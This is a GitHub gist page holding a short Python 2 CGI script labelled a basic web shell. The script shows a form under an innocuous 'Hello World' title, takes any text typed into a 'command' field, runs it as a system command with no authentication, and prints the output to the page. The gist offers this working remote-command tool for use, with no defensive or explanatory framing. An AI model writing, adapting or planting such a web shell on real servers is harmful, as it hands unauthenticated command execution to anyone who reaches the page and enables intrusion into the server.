Skip to content

Instantly share code, notes, and snippets.

@skinp
Created March 30, 2012 16:49
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save skinp/2252779 to your computer and use it in GitHub Desktop.
Save skinp/2252779 to your computer and use it in GitHub Desktop.
Basic web shell in python
#!/usr/bin/env python
import cgi
import subprocess
import cgitb
cgitb.enable()
def run(command):
if not command:
raise Exception("Commande vide")
else:
p = subprocess.Popen(command.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p.wait()
out, err = p.communicate()
return out
print "Content-Type: text/html"
print
print "<html>"
print "<head>"
print "<title>Hello World</title>"
print "</head>"
print "<body>"
print "<form method='post' action='shell.py'>"
print "<input type='text' name='command' />"
print "<input type='submit' value='submit' />"
print "</form>"
form = cgi.FieldStorage()
if 'command' in form:
cmd = form['command'].value
print "<font face='monospace'>"
print "$ %s" % cmd
print "<br>"
for i in run(cmd).split('\n'):
print i, "<br>"
print "</font>"
print "</body>"
print "</html>"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment